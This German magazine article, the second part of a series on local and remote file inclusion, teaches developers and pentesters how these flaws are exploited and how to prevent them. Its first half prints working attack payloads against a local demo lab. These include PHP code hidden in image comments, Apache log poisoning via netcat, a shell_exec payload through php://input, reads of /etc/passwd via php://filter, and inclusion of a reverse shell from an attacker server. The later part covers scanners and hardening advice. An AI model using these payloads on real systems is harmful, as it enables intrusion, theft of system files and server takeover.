File Inclusions: kleiner Programmierfehler, fatale Wirkung, Teil 2: Praxis
Nach den Grundlagen zu File Inclusion im ersten Teil der Artikelserie beleuchtet der abschließende zweite Teil die Methoden, die Angreifer zum Öffnen der Lücken verwenden, und zeigt anschließend Maßnahmen, eigene Anwendungen vor File Inclusion zu schützen.
- Matthias Altmann
Softwareentwickler und Pentester sollten ein Verständnis für die allgemeinen Sicherheitslücken haben, die sich durch File Inclusions ergeben. Erstere lernen, wie sie Schwachstellen vermeiden können und Letztere bekommen ein Bild von den Angriffsmustern, die sich daraus ergeben.
Damit Angreifer auf den Server eines Opfers kommen, benötigen sie zunächst ein Einfallstor. Sie müssen in der Lage sein, Code in die Anwendung zu schleusen und danach auszuführen. Mögliche Wege sind Upload-Funktionen und Bilder. Sofern ein Upload-Formular nicht prüft, ob hochgeladene Dateien Code enthalten, lässt sich darüber Schadcode einbringen, wenn auf das gleiche Verzeichnis per URL zugegriffen werden kann.
Nur Bilder zum Hochladen zu erlauben, birgt dennoch eine Schwachstelle: Achtet der Server beim Bild-Upload zwar auf Magic Bytes, nicht jedoch auf die Endung des Dateinamens, führen sowohl PHP als auch JSP Kommentare innerhalb der Bytes von Bildern aus:
Zunächst erzeugen Angreifer dazu ein 1 x 1 Pixel großes Bild beispielsweise mit ImageMagick:
convert -size 1x1 xc:white white.png
Und geben schließlich folgenden Befehl für PHP ein:
convert white.png -set comment \
'<?php echo "RCE possible";?>' pic.php
Nach dem Hochladen läuft der Code mit
http://127.0.0.1:8883/lfi.php?page=uploads/pic.php.
In JSP sieht es ähnlich aus:
convert white.png -set comment \
'<\% out.println("RCE possible"); \%>' pic.jsp
Nach dem Hochladen folgt
http://127.0.0.1:8881/webapp/?help=pic.jsp
Neben dem üblichen Weg für LFI-Angriffe mit schreibendem Zugriff ist PHP in der Standardinstallation ohne Härtung noch für weitere Formen anfällig.
Log Injection
Da PHP auch den Code innerhalb von Textdateien ausführt, können Angreifer versuchen, eine Anfrage an den Server zu senden und danach über den Browser auf die Log-Ausgabe zugreifen und somit den Code innerhalb der Logs zu starten.
Sofern die Möglichkeit eines LFI mit lesendem Zugriff bekannt ist, können Angreifer nach dem Standardverzeichnis von Apache-Logs suchen – oder nach dem Verzeichnis der Logs innerhalb der allgemeinen Apache-Konfigurationsdatei.
Auf das Beispiel bezogen ergibt sich
/etc/apache2/sites-available/000-default.conf
und daraus
${APACHE_LOG_DIR}/access_combined.log
mit
/var/log/apache2/access_combined.log
Nun können Angreifer direkt den Server ansprechen und Inhalte in die Logs injizieren. Das HTTP-Protokoll benötigen sie dazu nicht, da es nur einen Log-Eintrag zu erzeugen gilt. Der Befehl muss komplett in einer Zeile stehen, da die Log-Erstellung zeilenweise stattfindet und der Befehl sonst abgeschnitten wird:
nc 127.0.0.1 8883
<?php system('uname -a');?>
Der Aufruf von http://127.0.0.1:8883/lfi.php?page=/var/log/apache2/access_combined.log
führt den Code aus und zeigt die aktuelle Kernel-Version des Servers.
Fehlt ein Upload-Formular, aber der Server ermöglicht Log Injection, können Angreifer ein Skript über PHP erzeugen und in die URL einbinden. Damit ermöglichen sie ebenfalls das Hochladen von Dateien über den Browser. Um alles in eine Zeile zu packen, enkodieren sie den zu erstellende Code mit Base64.
Als Erstes bildet die Datei "toencode.php" den notwendigen Code:
<?php
if(isset($_POST['upload']))
{
if(move_uploaded_file($_FILES['file']['tmp_name'],
$_FILES['file']['name']))
echo '<p><b>Die Datei wurde erfolgreich hochgeladen.
<b></p>';
}
?>
<form action=""
enctype="multipart/form-data" method="post">
<input type="file" name="file">
<input type="submit" name="upload">
</form>
Der cat
-Befehl erzeugt daraus einen Base64-String:
cat "toencode.php"|base64
Netcat erledigt den Rest, und der Code ist danach in den Logs von Apache platziert. Ein Aufruf der Logs per URL zeigt an, dass ein "uploads/uploadscript.php" auf dem Webserver vorhanden ist, das sich zum Hochladen verwenden lässt:
nc 127.0.0.1 8883
<?php
fwrite(fopen('/var/www/html/uploads/uploadscript.php',
'w'),base64_decode('PD9wa...')); ?>
Angriff im Strom
Die Ein- und Ausgabe-Streams php://filter und php://input lassen sich in PHP für Angriffe missbrauchen. Die von PHP bereitgestellten Filter auf Ströme können Angreifer bösartig einsetzen und etwa den Base64-Filter folgendermaßen nutzen:
http://127.0.0.1:8883/lfi.php?\
page=php://filter/convert.base64-encode/\
resource=/etc/passwd
Sie erhalten darauf die Datei "etc/passwd" als Base64-String, den sie anschließend lediglich dekodieren müssen. Ähnlich funktioniert es über den string.to-lower
-Filter:
http://127.0.0.1:8883/lfi.php?\
page=php://filter/read=string.tolower/\
resource=/etc/passwd
php://input
ermöglicht es, den Request Body zu lesen und darüber Schadcode einzubringen:
telnet 127.0.0.1 8883
POST /lfi.php?page=php://input&cmd=ls HTTP/1.1
Host: localhost
Content-Length: 38
<?php echo shell_exec($_GET['cmd']);?>
Das ist der einzige der bislang vorgestellten LFI-Angriffe, der nicht funktioniert, wenn sowohl allow_url_fopen
als auch allow_url_include
auf off
stehen. Letzteres muss on
sein.
Der Königsweg RFI
Die letzte Risikoklasse betrifft die Remote File Inclusion. Dabei verlaufen die Daten den in Abbildung 11 gezeigten Weg.
Je nachdem, wie der Server des Angreifers konfiguriert ist, führt er den angefragten Code aus oder gibt nur Text zurück.
Entsprechend der Programmiersprache auf dem Zielserver können Angreifer steuern, wo die angefragten Daten ausgeführt werden sollen. Meistens besteht das Interesse, den Code beim Opfer zum Laufen zu bekommen und den Server zu übernehmen – also eine Shell zu erzeugen, die Zugang zum System erlaubt. Auf der anderen Seite kann aber auch ein Interesse daran bestehen, das Opfer auf eine Fake-Anwendung zu lenken, um etwa Credentials abzugreifen oder Social Engineering zu betreiben.
Wenn der Zielserver den fremden Code nicht ausführt, lässt sich schadhafter Clientcode wie Cross Site Scripting (XSS) einbinden und die Adresse beispielsweise als Phishing-Link versenden. RFI verlangt sowohl in JSP als auch in PHP eine passende Konfiguration. So müssen bei PHP die Parameter allow_url_fopen
und allow_url_include
den Wert on
haben. In JSP wiederum ist nur der Tag c:import
anfällig. Angriffsszenarien sehen in JSP folgendermaßen aus:
http://127.0.0.1:8881/webapp/?help=\
http://172.18.0.3:8080/webapp/run_on_attacker.jsp
127.18.0.3
ist die IP-Adresse des Angreiferservers im Dockernetz. Dort muss die JSP-Datei "run_on_attacker.jsp" liegen, die Schadcode enthält. Hier ist zu beachten, dass der Code auf dem Server des Angreifers ausgeführt wird, nicht beim Opfer:
<% out.println("From attacker server:
Code execution possible"); %>
In PHP kann der Angreifer durch die Änderung der Dateinamensendung bestimmen, ob das bösartige Skript bei ihm oder beim Opfer ausgeführt wird:
http://127.0.0.1:8883/lfi.php?\
page=http://172.18.0.5/run_on_victim.txt
wobei "run_on_victim.txt" folgenden Inhalt hat:
<?php system('ls'); ?>
Alternativ kopieren Angreifer eine mit Metasploit erzeugte "reverse_shell.php" in "reverse_shell.txt", starten einen Netcat-Listener und bekommen den Zugang aufs System mit folgendem Befehl:
http://127.0.0.1:8883/lfi.php?\
page=http://172.18.0.5/reverse_shell.txt
Data-URLs
Seit der Umsetzung des Dokuments RFC 2397 in Browsern dürfen auch kleine Datenschnipsel Bestandteil der URL sein. JSP unterstützt das Protokoll nicht, PHP hingegen schon. Angreifer müssen somit nicht unbedingt einen dedizierten Server besitzen, um eine RFI durchzuführen. Mit folgender Zeile lässt sich das aktuelle Verzeichnis ausgeben:
http://127.0.0.1:8883/lfi.php?page=data:\
;base64,PD9waHAgcGFzc3RocnUoImRpciIpOyA/Pg==
Weitere Besonderheiten
In der freien Wildbahn verläuft die File Inclusion in Parametern nicht so offensichtlich und einfach wie hier beschrieben. Code kann etwa andere Dateiendungen anfügen, oder Includes erscheinen vor der endgültigen Einbindung mehrfach gefiltert und zusammengesetzt. Angreifer versuchen Filter zu umgehen, indem sie unter anderem einen bestimmten Dateinamen verwenden, eine doppelte Endung hinzufügen oder sogenannte Null Byte Injections über das Zeichen %00
durchführen. Letztere funktionieren insbesondere bei älteren PHP-Versionen, bei denen sie den String einfach an der gewünschten Stelle abschneiden. Funktioniert RFI, lässt sich das Setzen einer Dateiendung mit zusätzlichen GET-Parametern umgehen:
http://127.0.0.1:8883/lfi.php?language=\
http://172.18.0.5/reverse_shell.txt?abc=
ruft
http://172.18.0.5/reverse_shell.txt?abc=.php
auf.
Die bislang dargestellten Lücken sind standardmäßig offen. Einzig der Parameter allow_url_include
ist bei PHP zusätzlich auf on
zu setzen. Eine Auflistung zusätzlicher Angriffe für PHP ist auf GitHub zu finden.
Auffinden der Lücken
Angreifer können entweder breit nach Schwachstellen suchen, was vor allem Botnetze tun. Oder sie nehmen sich gezielt eine Anwendung vor und scannen in die Tiefe, wenn sie an einem bestimmten Ziel Interesse haben.
Der Angriff in die Breite hat das Ziel, eine Vielzahl von LFI/RFI-Lücken auszuschöpfen, wie Google Dorks recht gut verbildlicht. Die komfortablen Sucheinstellungen von Google lassen sich durchaus bösartig verwendet, und Google Dorks listet diese Form der Anfragen auf. Beispiele für Suchoperatoren sind intext
, inurl
und intitle
.
Die Chance ist relativ hoch, gefährdete Seiten zu finden, wenn Angreifer entweder wissen, wie
- eine potenzielle Fehlermeldung bei Inclusions auf HTML-Seiten aussieht und sie hinter
intext
als Suchstring setzen, - wie URLs typischerweise aussehen, in denen File Inclusion-Lücken zu finden sind, oder
- wie Indexseiten von Servern aussehen, die falsch konfiguriert sind und daher den Sourcecode offenlegen.
So können sie unter anderem folgende Suchanfragen verwenden:
intext:"Warning: include("inurl:"index.php?page="
inurl:"index.php?page=contact.php"
intitle:Index of
Web Application Security Scanner
Eine zweite Variante ist das dedizierte Scannen. Angreifer nehmen sich eine Anwendung vor und versuchen, die Lücken darin zu finden. Auf dieselbe Weise kann ein Entwicklerteam die eigene Anwendung auf Sicherheitslücken überprüfen. Durch das Einnehmen der Sicht eines Angreifers lassen sich Sicherheitslücken finden und schließen. Einige Werkzeuge führen die Analyse automatisiert durch.
OWASP Zed Attack Proxy ist ein Scanner aus dem Open Web Application Security Project, einer Organisation, die Werkzeuge und Hilfen zur Verfügung stellt, um die Sicherheit von Webanwendungen zu erhöhen. Der Scanner steht als Proxy zwischen der Webanwendung und dem Browser gehängt. Ähnlich funktioniert der Portswigger Burp, ein Proxy als Basis für unterschiedliche Sicherheitsanalysen auf einer Anwendung.
Die nachfolgenden Scanner sind für bestimmte Einsatzszenarien ebenfalls gut geeignet, werden aber nicht mehr gepflegt. Arachni ist ein spezieller JavaScript-Scanner, der auf der Anwendung sucht, ohne sich dazwischen zu schalten. Das ist vor allem interessant, wenn es sich um Rich-Client-Applikationen handelt. Die 35m0nd142/LFISuite ist ein Open-Source-Kommandozeilentool zum interaktiven Simulieren von Angriffen. Kurobeats fimap ist ebenfalls ein Kommandozeilentool, das über Parameter arbeitet.
Die folgende Tabelle zeigt einen Vergleich der Tools auf Basis ihrer Ergebnisse gegen die Demo-PHP-Beispielanwendung:
Findings: Komplette Übergabe - page Parameter |
Findings: Mit Dateiendung - language Parameter |
|
OWASP ZAP 2.8.0 |
- LFI - Lesend - RFI |
- RFI |
Portswigger Burp 2.0.24 beta |
- LFI - Lesend - RFI |
- RFI |
Arachni 1.5.1 ruby 2.5.5p157 x86_64-linux-gnu (`arachni http://127.0.0.1:8883/lfi.php`) |
- LFI - Lesend - RFI |
- RFI |
LFISuite v 1.13 (URL: http://127.0.0.1:8883/lfi.php?param=`) param jeweils ersetzt mit language und page |
- LFI - Lesend | |
fimap v.1.00_svn (`python2 fimap.py -u http://127.0.0.1:8883/lfi.php?param=`) param jeweils ersetzt mit language und page |
- LFI - Lesend | - LFI |
Empfehlungen für Entwickler
Um die eigene Anwendung vor File Inclusion zu schützen, empfehlen sich mehrere Vorgehensweisen. Das Wichtigste ist, die Software immer auf dem aktuellen Stand zu halten und Patches nicht herauszögern. Am Anfang eines Projekts sollten Teams sich bewusst für oder gegen eine bestimmte Programmiersprache entscheiden. Wie zu Beginn angesprochen sind einige Techniken besonders anfällig für File-Inclusion: PHP, JSP, ASP, ASPX, CGI-Skripte und vereinzelt älteres Ruby-basiertes Rails. Neuere Frameworks sind wesentlich stärker gehärtet als alte. Insbesondere bei PHP gilt es genau hinzuschauen.
Wer die Gefahr bei Java verringern möchte, sollte auf JSP verzichten und stattdessen zu neueren Methoden greifen. Dasselbe gilt für CGI, das trotz seines Alters immer noch im Embedded-Bereich zum Einsatz kommt.
Vor dem Start lohnt es sich, spezifische Security-Metriken zu vergleichen und bewusst eine fundierte Wahl zu treffen, darunter:
- die Anzahl der CVEs,
- die Anzahl der Contributors,
- die GitHub Stars,
- das Alter beziehungsweise der Reifegrad der Software,
- der jüngste Commit und
- welche Security-Features eine Programmiersprache beziehungsweise ein Framework von Haus aus mitbringt.
Der letzte Punkt lässt sich unterteilen in Sprachaufbau und Konfigurationsmöglichkeiten. Der nächste Abschnitt erläutert dies genauer.
Sprachaufbau und Konfiguration
File-Inclusion-Lücken lassen sich programmatisch oder konfigurativ erschweren. Entwickler sollten dabei folgende Fragen stellen:
- Ist die Sprache von Haus aus bewusst in bestimmten Bereichen gehärtet?
- Welche Snippets und Konstrukte sind bekannt, die File Inclusions ermöglichen?
- Wie geht die Sprache mit Uploads und Eingabekanälen um?
Einige Programmiersprachen ermöglichen das Nachrüsten von Security-Maßnahmen. Bei PHP ist der Suhosin-Patch nennenswert.
Darüber hinaus spielen Konfigurationsmöglichkeiten eine Rolle. Wie eingangs erwähnt können einige Flags das Risiko erhöhen oder vermindern. Zum Vermeiden von File Inclusion bietet es sich an, den Zugriff auf bestimmte Verzeichnisse wie die Unterverzeichnisse der Webanwendung zu beschränken. Auf diese Weise sind viele sensible Daten besser vor ungewolltem Zugriff geschützt. Zudem sollten Konfigurationen, die Betriebssystembefehle ausführen können, tabu sein.
Bei den Einstellungen gilt dasselbe wie bei dem Sprachaufbau. Idealerweise sind sie standardmäßig ausreichend gehärtet, und Administratoren müssen sie explizit öffnen. Eine gute Zusammenfassung für PHP ist auf der Community-Site nixCraft zu finden.
Eingebundene Software kann darüber hinaus das Aktivieren oder Deaktivieren einiger Einstellungen erfordern. Bei PHP trifft das häufig auf die RFI-kritischen allow_url_*
-Settings zu. Wer die eingebundene Software benötigt, ist damit der Gefahr ausgesetzt und muss in der Entwicklung ein wachsames Auge darauf haben.
Security im Entwicklungsprozess
Um das Fehlerrisiko beim Softwareentwicklungsprozess zu mindern, helfen unter anderem Code Reviews und Pair Programming. Außerdem gibt es vier Credos in der Architektur einer Software:
- Den Überblick behalten: Wer genau weiß, an welchen Stellen sich Daten von außen in die Anwendung eintragen lassen, kann diese Einträge prüfen und damit das Risiko schadhafter Eingaben reduzieren.
- Externe Eingaben auf ein Minimum reduzieren: Wo File Inclusions unvermeidlich sind, helfen White Lists, den Überblick über bekannte Includes zu behalten und alle anderen Eingaben zu verwerfen. Aliase helfen die interne Struktur nicht transparent nach außen zu publizieren – beispielsweise mit dem Ersetzen von
?page=file1.html
durch?page=1
. - Upload-Möglichkeiten sollten eingeschränkt sein. Bei zwingenden Eingabeoptionen muss die Anwendung zumindest den Dateiinhalt etwa mit Magic Bytes prüfen. Eine Liste guter Prüfmöglichkeiten bietet OWASP: Unrestricted File Access, Prevention Methods.
- Kontinuierliches Überprüfen der Anwendung: Weitere Fehler lassen sich durch das fortlaufende Scannen mit den Methoden von Continuous Integration / Continuous Delivery (CI/CD) frühzeitig erkennen. Zum Prüfen bieten sich statische Code Analyzer an. CI/CD hat weiterhin den Vorteil, dass der Prozess zusätzlich fehlerhafte Libraries aufdecken kann, die bereits von CVEs betroffen sind (vgl. OWASP Dependency Check). Zuletzt sei erwähnt, dass regelmäßige manuelle Pentests das Risiko deutlich mindern, dass Sicherheitslücken unerkannt durchrutschen.
Selten, aber kritisch
Ein kleiner Codeschnipsel reicht, um große Lücken aufzustoßen. File-Inclusion-Lücken treten zwar in jüngster Zeit nur noch selten auf, sind aber aufgrund ihrer Tragweite im Ernstfall äußerst kritisch. Die gezeigten Beispielangriffe sollen Entwicklern Einblick in die Sicht der Angreifer geben. Mit der Kenntnis der Technik können sie sich besser vor LFI/RFI-Attacken schützen, und Pentester erkennen entsprechende Schwachstellen zielgerichtet. Die Handlungsempfehlungen zur Wahl der Programmiersprache und der passenden Konfiguration helfen dabei, das das Risiko für LFI/RFI-Schwachstellen deutlich zu verringern.
Matthias Altmann
ist Softwareentwickler und IT-Security-Experte bei der Micromata GmbH, wo er gemeinsam mit seinen Kollegen den Bereich IT-Sicherheit betreut und fortentwickelt. Er ist außerdem Mitbegründer und Organisator des IT-Security-Meetups Kassel, einem Netzwerk von IT-Security-Enthusiasten, die sich dem fachlichen Austausch zum Thema verschrieben haben.
(rme)